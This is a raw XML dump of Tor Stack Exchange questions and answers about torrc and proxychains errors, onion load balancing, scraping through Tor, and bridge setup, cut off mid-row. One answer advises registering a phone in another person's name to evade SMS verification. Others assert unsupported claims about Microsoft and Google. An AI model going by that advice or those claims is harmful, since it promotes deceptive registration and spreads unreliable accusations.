  <row Id="22707" PostTypeId="1" CreationDate="2021-09-23T20:58:54.173" Score="0" ViewCount="76" Body="&lt;p&gt;this is the question:&#xA;if a user had multiple servers, and wanted each request to select a server at random or on purpose, how would one do so? without changing urls and attempting to keep it simple? im aware of it with DNS, but not on tor.&lt;/p&gt;&#xA;" OwnerUserId="33317" LastActivityDate="2022-02-22T19:05:25.537" Title="Round robin style load balancing, or other simply forms of load balancing" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22708" PostTypeId="1" CreationDate="2021-09-24T12:55:28.773" Score="0" ViewCount="296" Body="&lt;p&gt;So I'm new to learning tor and proxychains and while I was trying to figure out why proxychains aren't working, I think there's issue with connecting to tor.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor service status&#xA;Sep 24 20:43:49.265 [notice] Tor 0.4.5.10 running on Linux with Libevent 2.1.12-stable, OpenSSL 1.1.1k, Zlib 1.2.11, Liblzma 5.2.5, Libzstd 1.4.8 and Glibc 2.31 as libc.&#xA;Sep 24 20:43:49.266 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 24 20:43:49.266 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Sep 24 20:43:49.266 [warn] Failed to parse/validate config: Unknown option 'service'.  Failing.&#xA;Sep 24 20:43:49.266 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Proxychains config file (lines without #)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dynamic_chain&#xA;&#xA;Proxy DNS requests - no leak for DNS data&#xA;proxy_dns&#xA;#remote_dns_subnet 10&#xA;remote_dns_subnet 224&#xA;&#xA;# Some timeouts in milliseconds&#xA;tcp_read_time_out 15000&#xA;tcp_connect_time_out 8000&#xA;&#xA;[ProxyList]&#xA;# add proxy here ...&#xA;# meanwile&#xA;# defaults set to &amp;quot;tor&amp;quot;&#xA;socks5  127.0.0.1 9050&#xA;socks4  127.0.0.1 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;no changes made to /etc/tor/torrc&lt;/p&gt;&#xA;&lt;p&gt;commands used&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;service tor start                     &#xA;                                                                                                                                                                                                                                             &#xA;┌──(user㉿kali)-[~]&#xA;└─$ tor service status       &#xA;Sep 26 22:46:47.161 [notice] Tor 0.4.5.10 running on Linux with Libevent 2.1.12-stable, OpenSSL 1.1.1k, Zlib 1.2.11, Liblzma 5.2.5, Libzstd 1.4.8 and Glibc 2.31 as libc.&#xA;Sep 26 22:46:47.162 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 26 22:46:47.162 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Sep 26 22:46:47.162 [warn] Failed to parse/validate config: Unknown option 'service'.  Failing.&#xA;Sep 26 22:46:47.162 [err] Reading config failed--see warnings above.&#xA;                                                                                                                                                                                                                                             &#xA;┌──(user㉿kali)-[~]&#xA;└─$ proxychains firefox www.whatismyip.com                                                                                                                                                                                               1 ⨯&#xA;[proxychains] config file found: /etc/proxychains.conf&#xA;[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&#xA;[proxychains] DLL init: proxychains-ng 4.14&#xA;[proxychains] DLL init: proxychains-ng 4.14&#xA;[proxychains] DLL init: proxychains-ng 4.14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;tor.service file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[Unit]&#xA;Description=Anonymizing overlay network for TCP (multi-instance-master)&#xA;&#xA;[Service]&#xA;Type=oneshot&#xA;RemainAfterExit=yes&#xA;ExecStart=/bin/true&#xA;ExecReload=/bin/true&#xA;&#xA;[Install]&#xA;WantedBy=multi-user.target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33320" LastEditorUserId="33320" LastEditDate="2021-09-27T12:39:09.793" LastActivityDate="2021-09-27T12:39:09.793" Title="Tor connection issue with proxychains" Tags="|configuration|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="22711" PostTypeId="2" ParentId="21067" CreationDate="2021-09-25T10:17:12.623" Score="0" Body="&lt;p&gt;Have you tried using Youtube in a &lt;a href=&quot;https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history&quot; rel=&quot;nofollow noreferrer&quot;&gt;private window&lt;/a&gt; (an &lt;a href=&quot;https://www.chromium.org/user-experience/incognito&quot; rel=&quot;nofollow noreferrer&quot;&gt;incognito mode window&lt;/a&gt; for chromium-based browsers)? Youtube/Google will track you through &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies&quot; rel=&quot;nofollow noreferrer&quot;&gt;cookies&lt;/a&gt;/your sign in/other browser storage (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API&quot; rel=&quot;nofollow noreferrer&quot;&gt;indexeddb&lt;/a&gt;, &lt;a href=&quot;http://www.devdoc.net/web/developer.mozilla.org/en-US/docs/Web/API/LocalStorage.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;localstorage&lt;/a&gt;, etc) (as &lt;a href=&quot;https://tor.stackexchange.com/users/27924/flatassembler&quot;&gt;FlatAssembler&lt;/a&gt; &lt;a href=&quot;https://tor.stackexchange.com/a/21071/33329&quot;&gt;mentioned&lt;/a&gt;), so Tor will only help initially, and &lt;a href=&quot;https://support.torproject.org/#staying-anonymous&quot; rel=&quot;nofollow noreferrer&quot;&gt;won't work at all if you are logging in&lt;/a&gt;. As has been in the media a lot, the algorithms will quickly tailor suggestions for you based on what you watch, but if you close and reopen a private window, you should start from fresh each time.&lt;/p&gt;&#xA;&lt;p&gt;In regards to is streaming videos over Tor ethical, Tor's mission is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To advance human rights and freedoms by creating and deploying free&#xA;and open source anonymity and privacy technologies, supporting their&#xA;unrestricted availability and use, and furthering their scientific and&#xA;popular understanding.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As you mentioned, they are a non-profit organisation and the software is maintained by volunteers... Ethics are a personal choice. I have always thought if I am asking the question is it ethical for me to do this, the answer is probably no (sub-conscious alarm bells). Is it videos that everyone should be able to access but you can't due to blocks, them yes, Tor can help. Is it videos that are blocked due to production rights/copyrights... personal choice.&lt;/p&gt;&#xA;&lt;p&gt;You can always &lt;a href=&quot;https://donate.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;donate&lt;/a&gt; to help &lt;em&gt;&amp;quot;keep Tor robust and secure for millions of people worldwide&amp;quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="33329" LastEditorUserId="33329" LastEditDate="2021-09-25T11:15:38.420" LastActivityDate="2021-09-25T11:15:38.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22712" PostTypeId="1" AcceptedAnswerId="22717" CreationDate="2021-09-25T16:13:21.317" Score="0" ViewCount="333" Body="&lt;p&gt;I am looking to create my own version of TOR, and to do that I need to understand the way that relay, directory servers and clients communicate. but after reading &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor: The Second-Generation Onion Router&lt;/a&gt; I was left with some questions about the cell structure:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what is CircID and what is it's purpose?&lt;/li&gt;&#xA;&lt;li&gt;what is StreamID and what is it's purpose?&lt;/li&gt;&#xA;&lt;li&gt;what is Relay? (the one shown in the cell picture below)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zjRha.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zjRha.png&quot; alt=&quot;visual overview of cell structure plus the details of relay cell structure&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33330" LastActivityDate="2021-09-25T16:51:12.650" Title="understanding tor cell structure" Tags="|relays|circuit|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22714" PostTypeId="2" ParentId="20256" CreationDate="2021-09-25T16:18:57.703" Score="0" Body="&lt;p&gt;DH key exchange is totally unrelated to the IP hiding mechanism - it's for point to point privacy. The IP is hidden because when the 3-layer tunnel is built - the &amp;quot;onion&amp;quot; - it is built one layer through another, so the third chain member will not be able to see your IP because you will talk to it through a second chain member you're talking to through the first one. That's how the IP address is hidden - and DH is totally out of relation with the hiding technics applied.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-25T16:18:57.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22715" PostTypeId="2" ParentId="21067" CreationDate="2021-09-25T16:20:07.583" Score="0" Body="&lt;p&gt;Absolutely - you can and you should in a situation like yours! there's nothing bad even in torrents over Tor - if they're done properly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-25T16:20:07.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22716" PostTypeId="2" ParentId="20746" CreationDate="2021-09-25T16:23:19.543" Score="0" Body="&lt;p&gt;ControlPort is not so safe to be opened just by itself even in a private network, but a &lt;a href=&quot;https://stunnel.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;STunnel&lt;/a&gt; with a strict local CA and certificate verification solves this problem easily. SSH port can be opened to your private network, but for public network just make a hidden service for it &lt;em&gt;with the client key&lt;/em&gt; to avoid the service guessing and corresponding attack vectors&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-25T16:23:19.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22717" PostTypeId="2" ParentId="22712" CreationDate="2021-09-25T16:51:12.650" Score="2" Body="&lt;p&gt;In simple words:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;CircID&lt;/strong&gt; serves the purpose to separate the circuits = onion 3-node chains. As it described in design - I'm citing: &lt;em&gt;The header includes a circuit identifier (circID) that&#xA;specifies which circuit the cell refers to (many circuits can&#xA;be multiplexed over the single TLS connection), and a com-&#xA;mand to describe what to do with the cell’s payload.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;StreamID&lt;/strong&gt; serves the purpose for separating streams &lt;em&gt;inside&lt;/em&gt; the circuits - it's handy when you're connecting to different exit nodes through one middle node, for example. It's described in the design here, but it's not that straightforward if you haven't seen the code and played with it - I was making my Tor version too - the document says: &lt;em&gt;Relay cells have an additional header (the relay header) at&#xA;the front of the payload, containing a streamID (stream iden-&#xA;tifier: many streams can be multiplexed over a circuit);&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Relay&lt;/strong&gt; is an operation code, i.e. &amp;quot;what exactly should be done with the data portion annotated&amp;quot; - see the part 4.1 in the design draft &lt;strong&gt;and&lt;/strong&gt; the code itself if you'll have command-specific questions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-25T16:51:12.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22718" PostTypeId="2" ParentId="22707" CreationDate="2021-09-25T16:54:11.480" Score="0" Body="&lt;p&gt;It can be done either on the HiddenService layer via &lt;a href=&quot;https://nginx.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;NGinx&lt;/a&gt; or using &lt;a href=&quot;https://onionbalance.readthedocs.io/en/latest/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionBalance&lt;/a&gt; . If the application is a website or web service - both tools can be combined for a better results&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-25T16:54:11.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22719" PostTypeId="2" ParentId="22701" CreationDate="2021-09-25T16:58:29.947" Score="0" Body="&lt;p&gt;Tails is still immature, so no wonder why you're having the trouble you're asking about. To achieve a &lt;strong&gt;way&lt;/strong&gt; better security and user experience you need to use &lt;a href=&quot;https://www.qubes-os.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;QubesOS&lt;/a&gt; and Tor combined - try it and forget the Tails(hit) :) To make things really secure you arise Tor &lt;strong&gt;not at dom0&lt;/strong&gt; as it said in many quickjump guides, but on a &lt;em&gt;separate&lt;/em&gt; VM container and then you're just using it as a router for the rest of the system. If you need to use Tor protection for dom0 you should do this through the proxy functionality &lt;strong&gt;only&lt;/strong&gt; - routing and thansparent proxying can be easier to set up but it will break some things on dom0 and some security will be lost.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-25T16:58:29.947" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22720" PostTypeId="1" AcceptedAnswerId="22758" CreationDate="2021-09-25T21:39:14.750" Score="1" ViewCount="441" Body="&lt;p&gt;Many pages have mandatory sms verification.  But i would like to use these pages without revealing my identity.   Typically these pages do not function with free online sms services.  Paid SMS services such as Twilio OTOH require sms verification.  I would be happy to hear about any services or solutions or work-arounds to obtain sms verification that maintains my privacy.&lt;/p&gt;&#xA;&lt;p&gt;Sorry if this question is off-topic, happy to get redirected to another page.&lt;/p&gt;&#xA;" OwnerUserId="33331" LastActivityDate="2021-10-04T20:56:32.643" Title="How to get a phone number without compromising privacy" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22721" PostTypeId="2" ParentId="22720" CreationDate="2021-09-25T22:41:35.637" Score="0" Body="&lt;p&gt;Sadly, the SMS verification is a privacy stealer, because it &lt;strong&gt;does not&lt;/strong&gt; add a bit of security: &lt;em&gt;plaintext&lt;/em&gt; SMS are easily intercepted and tampered with. So if you're looking to avoid this - the only reasonable way to do so is to buy a smartphone or a single-board computer+cellular modem and register it for someone else, make a huge forward payment from his side and park it in a safe place with a battery backed power and an external cellular antenna. After that - Tor will help you to connect to this device and to obtain/send all the codes you need. I've done it myself when I had to, this particular schema is working - proven on my personal experience, I used SBC and 4G modem with antenna attached.&lt;/p&gt;&#xA;&lt;p&gt;P.S. The question is totally not an off-topic: Tor is an important component in this solution.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-25T22:41:35.637" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22722" PostTypeId="1" CreationDate="2021-09-26T15:48:51.143" Score="0" ViewCount="224" Body="&lt;p&gt;I just downloaded tor and after opening it got the &amp;quot;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&amp;quot; First of all i havent edited the torrc file, also i ve tried deleting and reinstalling tor and it doesnt work. I just did a factory reset on my laptop and before that i had downloaded tor and nothing like that had ever happened. Help pls couldnt find any answers online. Lastly i am using windows 10 if thats helpful&lt;/p&gt;&#xA;" OwnerUserId="33332" LastActivityDate="2021-09-26T15:48:51.143" Title="Tor has an error right after installation" Tags="|windows|error|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22723" PostTypeId="1" AcceptedAnswerId="22728" CreationDate="2021-09-28T13:40:49.167" Score="0" ViewCount="684" Body="&lt;p&gt;I am doing web scraping, and I am using tor as my proxy service. I am using ubuntu 20.4.x and python 3.9.&lt;/p&gt;&#xA;&lt;p&gt;As I have installed tor in my local system, I am using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;proxies = {&#xA;    'http': 'socks5://127.0.0.1:9050',&#xA;    'https': 'socks5://127.0.0.1:9050'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My sample code looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import requests&#xA;from fake_useragent import UserAgent&#xA;&#xA;&#xA;url = &amp;quot;https://www.google.com/&amp;quot;&#xA;&#xA;proxies = {&#xA;    'http': 'socks5://127.0.0.1:9050',&#xA;    'https': 'socks5://127.0.0.1:9050'&#xA;}&#xA;&#xA;# Using fake headers to change the request header&#xA;headers = {'User-Agent': UserAgent().random}&#xA;&#xA;try:&#xA;    resp = requests.get(url, proxies=proxies, headers=headers, timeout=(10, 10))&#xA;except Exception as e:&#xA;    print(e)&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let's say I have a remote server with IP &lt;strong&gt;xx.xx.xx.xx&lt;/strong&gt;, Can I install tor in this remote server and use the particular server port in my local machine to use proxy, i.e. &lt;strong&gt;xx.xx.xx.xx:9050&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If yes, can I use it in my code like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;proxies = {&#xA;    'http': 'socks5://xx.xx.xx.xx:9050',&#xA;    'https': 'socks5://xx.xx.xx.xx:9050'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How to get it installed?&lt;/p&gt;&#xA;" OwnerUserId="33342" LastActivityDate="2021-10-28T22:04:55.427" Title="How to host TOR in remote server to use as proxy" Tags="|ubuntu|tor-install|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22724" PostTypeId="1" CreationDate="2021-09-28T13:45:30.550" Score="0" ViewCount="1019" Body="&lt;p&gt;After getting my web server setup, I'm trying to finish a test hidden service. I'm receiving the error: &amp;quot;&lt;em&gt;Could not bind to 127.0.0.1:9050: Address already in use [WSAEADDRINUSE ]. Is Tor already running?&lt;/em&gt;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;How can you manually close the existing listener so there aren't two connections trying to be established? I'm using Powershell, Windows 10. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="33343" LastActivityDate="2022-02-25T23:07:10.650" Title="How to close socks listener for 127.0.0.1:9050?" Tags="|tor-browser-bundle|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22725" PostTypeId="2" ParentId="22724" CreationDate="2021-09-28T20:25:36.327" Score="0" Body="&lt;p&gt;It's a windows 10 bug - it binds some of system services to it - and I bet it's done on purpose! Just choose another port - I used 9999 or 19999 - and it worked well. Microsoft has it's affiliations with a privacy-invading state structures, you know - so it was quite an unpleasant surprise for me too like a year+ ago. Just change the port - and that's it.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-28T20:25:36.327" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22726" PostTypeId="2" ParentId="20382" CreationDate="2021-09-28T20:28:43.153" Score="0" Body="&lt;p&gt;Orbot looks hangy somtimes, so you either examine it's logs - it will tell you the reason, or you're cleaning the app data and sometimes reinstalling it completely. Also it can be because of firewall rules problem - it popped out from time to time: it was related to the firewall cli binary included with the app and sometimes with the resulting ruleset - I was facing this on Android 6, but it has reappeared rarely from time to time. Also keep in mind that mobile antiviruses can ruin your day just like their desktop twins.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-28T20:28:43.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22727" PostTypeId="2" ParentId="22324" CreationDate="2021-09-28T20:32:53.930" Score="0" Body="&lt;p&gt;You're understanding things right: using 2FA has nothing to do with your server location, so just use it as you would do it on the regular website - there's &lt;strong&gt;no&lt;/strong&gt; difference at all because all you basically need is a QR code for an authentication profile and the authenticator does not care about &lt;em&gt;how exactly&lt;/em&gt; it's delivered. The only case that will have it's difference is a SQRL 2FA, but as I see your question - it's totally not your case. So just install the QR code generator and 2FA on your website and be safe!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-28T20:32:53.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22728" PostTypeId="2" ParentId="22723" CreationDate="2021-09-28T20:36:49.030" Score="0" Body="&lt;p&gt;Just use SSH port mapping - so you will have your localhost's ports mapped to the Tor remote server's localhost ones and your software won't see any difference. There's no need to open Tor socks proxy ports to the public IP of the server that is hosting your Tor instance. In case of multiple Tor instances - I've used Tor for this task with 10 instances worldwide - on your scraping host you're installing a socks balancing proxy and bind it on the localhost too - and after that you're making SSH tunnels to the remote servers with an actual Tor instances. You can also use STunnel instead of SSH tunnelling - but don't forget to make a certificate verification be set to 3 and use a TLS key if applicaple.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-28T20:36:49.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22729" PostTypeId="2" ParentId="20937" CreationDate="2021-09-28T20:46:14.447" Score="0" Body="&lt;p&gt;The &amp;quot;unusual traffic&amp;quot; is not from you, but from your ExitNode - and it includes &lt;strong&gt;all&lt;/strong&gt; the users that are using it as an exit. Big phishing corporation like Google are stealing your privacy and do not make the dot-onion endpoints for their services because they do want to steal your data and sell it to the advertisers. Facebook is the only one big corporation now - as to my knowledge - who've made a green HTTPS dot-onion for their system &lt;strong&gt;and&lt;/strong&gt; added Tor option to the settings of their mobile application(at least it was on Android I used to use) - check &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt; It's not your guilty or problem - it's their bad intentions to track and pinpoint you&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-28T20:46:14.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22730" PostTypeId="2" ParentId="22700" CreationDate="2021-09-28T20:47:33.360" Score="1" Body="&lt;p&gt;For just a cURL - no, &lt;strong&gt;but&lt;/strong&gt; a web browser or other application can launch another one that will make unproxified request and that's how the data leaks, so be careful in what you're doing!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-28T20:47:33.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22732" PostTypeId="2" ParentId="22050" CreationDate="2021-10-01T14:48:54.370" Score="2" Body="&lt;p&gt;It's decentralized in significantly different fashion than &lt;code&gt;.crypto&lt;/code&gt; domain.&#xA;In blockchain-backed domain system you can claim any name not claimed by anyone else. In .onion all you can do is to generate new private key that maps to SOME domain name (hash of your key). Period. Unless nobody else knows your private key, nobody else can publish hidden-service on that domain name. But you can't select specific domain name, you just got random one.&lt;/p&gt;&#xA;&lt;p&gt;So answer to body of your queston (is &lt;strong&gt;domain&lt;/strong&gt; decentralized) -- yes.&lt;/p&gt;&#xA;&lt;p&gt;Answer to title of your question (are &lt;strong&gt;sites&lt;/strong&gt; decentralized) -- generally no unless you use something like onionbalance.&lt;/p&gt;&#xA;" OwnerUserId="21701" LastEditorUserId="21701" LastEditDate="2021-10-03T15:05:46.977" LastActivityDate="2021-10-03T15:05:46.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22733" PostTypeId="2" ParentId="22050" CreationDate="2021-10-01T20:31:52.610" Score="1" Body="&lt;p&gt;Basically - &lt;strong&gt;no&lt;/strong&gt;: the &lt;em&gt;way&lt;/em&gt; you're accessing them &lt;em&gt;is&lt;/em&gt; decentralized, but the sites are quite centralized to the very HS server serving them.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-01T20:31:52.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22734" PostTypeId="1" CreationDate="2021-10-02T11:42:24.350" Score="0" ViewCount="334" Body="&lt;p&gt;After like 30-40 seconds ip changes, basically after I already opened a page on a website and want to go to another. So at that point the website can just block the new ip, then I have to restart tor again.&#xA;I wonder whos' the &amp;quot;genius&amp;quot; that thought changing ip during request is a good idea,and no option to disable this?&lt;/p&gt;&#xA;" OwnerUserId="33354" LastActivityDate="2021-10-02T16:55:53.270" Title="How to stop changing ip during request" Tags="|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22735" PostTypeId="1" AcceptedAnswerId="22737" CreationDate="2021-10-02T11:49:27.600" Score="0" ViewCount="128" Body="&lt;p&gt;As you may know, programs like Tor Browser come with a tor.exe program.&lt;/p&gt;&#xA;&lt;p&gt;I'm not an expert, but I would say the executable is responsible for sending and receieving information by the Tor fabric.&lt;/p&gt;&#xA;&lt;p&gt;Does it work as a standalone program? Can I use the executable via the terminal to send my own stuff through it (as  proxy or with a concrete input from the terminal for example)?&lt;/p&gt;&#xA;" OwnerUserId="33355" LastEditorUserId="33355" LastEditDate="2021-10-02T13:53:42.547" LastActivityDate="2021-10-02T16:53:45.257" Title="Can I use tor.exe for my stuff?" Tags="|proxy|terminal|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22736" PostTypeId="2" ParentId="21864" CreationDate="2021-10-02T16:52:04.147" Score="0" Body="&lt;p&gt;Well, the best and the right way is to use Tor as a SystemD service - &lt;strong&gt;don't forget to build it by hand with this features enabled&lt;/strong&gt;! It's totally not the problem - SystemD offers a service groups nowdays and you can use them to tailor all your specific needs without discarding runtime dependencies and starting/stopping grouping and order.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-02T16:52:04.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22737" PostTypeId="2" ParentId="22735" CreationDate="2021-10-02T16:53:45.257" Score="0" Body="&lt;p&gt;Sure you can! Tor.exe is a standalone daemon that can perfectly fit even a case when it is executed as as system service! Just put it all on the right place - and enjoy! If you'll describe your particular case - I think I'll be able to help you better - so just expand your question!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-02T16:53:45.257" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22738" PostTypeId="2" ParentId="22734" CreationDate="2021-10-02T16:55:53.270" Score="1" Body="&lt;p&gt;You need to use &lt;code&gt;LongLivingPorts&lt;/code&gt; for your &lt;em&gt;destination&lt;/em&gt; port &lt;strong&gt;and&lt;/strong&gt; to tweak the time of the long living connections in &lt;code&gt;torrc&lt;/code&gt; - then just restart your Tor or reflect the changes through the Tor Control Protocol commands - and it will work as you want it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-02T16:55:53.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22739" PostTypeId="2" ParentId="21509" CreationDate="2021-10-02T19:05:42.730" Score="0" Body="&lt;p&gt;Well, for this task I used to have this setup and it proved itself to be bulletproof:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have your onion site - either balanced by OnionBalance or not - on your servers. If you do have a balanced setup - repeat it for every node&lt;/li&gt;&#xA;&lt;li&gt;You arise a &lt;em&gt;separated&lt;/em&gt; Tor instances with the bridge server on really static IP's&lt;/li&gt;&#xA;&lt;li&gt;You connect your site instances to your bridges&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-02T19:05:42.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22740" PostTypeId="2" ParentId="21549" CreationDate="2021-10-02T21:54:17.980" Score="0" Body="&lt;p&gt;It's OK - all the ip-to-geo databases do have their mistakes. If you need it to be as precise as it can - buy a paid GeoIP database and feed it to Tor, but even this time - it &lt;strong&gt;will&lt;/strong&gt; have it's misses, just be prepared&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-02T21:54:17.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22741" PostTypeId="1" AcceptedAnswerId="22745" CreationDate="2021-10-03T09:53:40.437" Score="0" ViewCount="659" Body="&lt;p&gt;I executed tor.exe after completing all the tasks in &lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/windows/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the bridge setup manual&lt;/a&gt; and, although it stablishes all the connections, after no time it closes with an error: &lt;code&gt;enter preformatted text here&lt;/code&gt;Reading config failed--see warnings above`.&lt;/p&gt;&#xA;&lt;p&gt;config file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\tor\notice.log&#xA;GeoIPFile C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\tor\geoip&#xA;GeoIPv6File C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\tor\geoip6&#xA;BridgeRelay 1&#xA;BridgeDistribution none&#xA;ORPort 9061&#xA;ServerTransportPlugin obfs4 exec C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\tor\obfs4proxy.exe&#xA;ServerTransportListenAddr obfs4 0.0.0.0:9059&#xA;ExtORPort auto&#xA;ContactInfo nestorlguerra2003@gmail.com&#xA;Nickname mybridge&#xA;SOCKSPort 9060 # Default: Bind to localhost:9060 for local connections.&#xA;AvoidDiskWrites 1&#xA;HashedControlPassword 16:xxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;full program output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Oct 03 10:39:49.458 [notice] Tor 0.4.5.10 (git-fd74f7628eba2525) running on Windows 8 [or later] with Libevent 2.1.12-stable, OpenSSL 1.1.1l, Zlib 1.2.11, Liblzma N/A, Libzstd N/A and Unknown N/A as libc.&#xA;Oct 03 10:39:49.459 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Oct 03 10:39:49.476 [notice] Read configuration file 